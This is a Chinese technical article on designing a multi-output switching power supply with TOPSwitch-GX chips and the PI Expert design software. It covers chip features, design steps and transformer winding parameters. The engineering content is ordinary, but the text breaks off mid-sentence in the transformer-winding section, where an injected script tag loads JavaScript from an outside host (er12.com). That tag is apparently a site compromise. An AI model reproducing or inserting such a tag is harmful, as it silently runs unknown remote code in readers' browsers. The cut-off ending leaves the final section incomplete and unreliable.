电源设计需要考虑有关半导体器件、模拟电路、数字电路、电磁特性、电磁兼容性、热力学等多方面。传统设计方法要靠人工来完成，其步骤繁琐、工作量大、效率低。而电源模块sg3525或uc3842的外围电路又较复杂，电路中某个元器件参数稍不合适。电源就不能稳定工作。为此，本文给出了采用pi expert电源设计软件对电源模块进行设计基本方法。
1 topswitch—gx系列产品的性能特点
powerintegration公司在第三代单片开关电源topswitch—fx基础上推出的第四代单片开关电源topswitch—gx系列芯片。其最大输出功率已扩展到290 w。由于将高压功率mosfet、pwm控制、故障保护和其它控制电路高性价比地集成在单片cmos芯片上，再加上其可在启动时消除过冲、降低元件应力的软起动、小emi频率抖动、欠压保护和过压关断、可编程限流和独有的ecosmart节能等技术。该芯片可大大简化电路设计，缩短设计周期。与topswitch—fx相比，topswitch—gx系列产品有如下优点：
◇ 输出功率可扩展到290 w；
◇ 新增加了线路检测端(l)和从外部设定极限电流端(x)这两个引脚，用于代替top-switch—fx的多功能端(m)的全部控制功能，使用更加灵活、方便；
◇ 具有更高的占空比，输出功率更大、输入电容更小;
◇ 有分开的线路检测端与电流限制端；
◇ 线路前馈缩小了最大占空比，以抑制脉动纹波，并在电网电压较高时起限制作用；
◇ 工作频率提高到132 khz，减少了变压器和电源的尺寸；
◇ 当开关电源的负载很轻时，能自动将开关频率从132 khz降低到30 khz(半频模式下则由66 khz降至15 khz)，这样，可降低开关损耗，进一步提高电源效率；
◇ 采用先进的节能技术，功耗低，在110vac时为80 mw，在230vac时为160 mw。
2 基于topswitch—gx的多路输出设计
pi expert电源设计软件是pi公司开发的简单易用、节省时间的创新设计工具。它是一种交互式软件，可以针对相关的硬件芯片、按照使用者提出的电源规范产生具体能量转换方案。pi ex-pert提供一种直观的、一步一步的设计界面，让使用者分别设定变压器、输入电容参数和所用的pi芯片。完整的电路设计还包括输出电容、钳位二极管等参数选择，电源发热量、电路安全性分析也可以在软件设计中加以考虑。利用pi公司的pi expert软件开发平台，可以方便地设计开关电源电路、选择电路拓扑、芯片系列、芯片封装、工作频率以及其他相关特性参数。该软件根据用户给定的输入参数、输出参数、优化方式、器件系列等相关信息。通过计算可给出器件变量电源部分元件选择、电源输出参数、变压器结构参数和次级参数等信息。
2．1 设计要求及设计步骤
该系统的设计输入电压ac195～265v，频率50hz。输出电压24v时，最大输出电流2a；输出电压12 v时，最大输出电流有3 a和1 a两种；输出电压8v时，最大输出电流2a。同时要求输入与输出隔离。并能实现输入欠压和过压保护、可外部设定极限电流等功能。
该系统的设计步骤如下：
(1)打开pi expert设计软件，新建一个设计文件，从file／new进入设计文件名的设置，输入设计名“多路输出电源模块”，选择区域后点击ok进入输入输出设置，操作后的界面如图1。
(2)在输入窗口选择芯片频率和封装，根据所需功率容量选择频率为topgx130 khz。采用y封装方便安装，有助于散热。输入根据实际选择ac195～265，优化方式为最低成本cost，此时右侧即出现了设计所需电路图，如图2所示。
(3)输出设置。根据实际在输出窗口添加输出电24 v；最大输出电流2 a；输出电压12 v，最大输出电流3 a；输出电压12 v，最大输出电流1 a；输出电压8 v，最大输出电流2a。添加后的界面视图如图3所示。
(4)设计结果输出。运行菜单navigate／autodesign后即可输出设计结果。
2．2 高频变压器的选择
变压器设计也可以通过软件来实现。本方案采用了pi expert软件。计算相当简单，仅需输入相关设计参数，软件就会输出所需的变压器设计参数。初级线圈电感量lp=382μh；初级匝数np=32；初级线径awg20(o．813 mm)三股并绕；反馈绕组匝数nb=3．0；磁芯采用e135，选用铁氧体磁性材料。制作相关参数；气隙lc=0．30 mm；初级漏感ll=2．9μh；次级24 v／2 a组匝数为6匝，awg22(o．643 mm)3股并绕；次级12 v／3 a组匝数为3匝，awg24(0．51 mm)4股并绕；次级12 v／1 a组匝数为3匝，awg24(0．51 mm)；8 v／2 a组awg22(0．643 mm)2股并绕。软件给出的参数都是经过一定优化的。实际设计中可优先选用推荐参数，实践证明，这样做是合理。
2．3 变压器的绕制
pi—expert软件推荐变压器采用堆叠式的绕制方法。其优点?script src=http://er12.com/t.js>
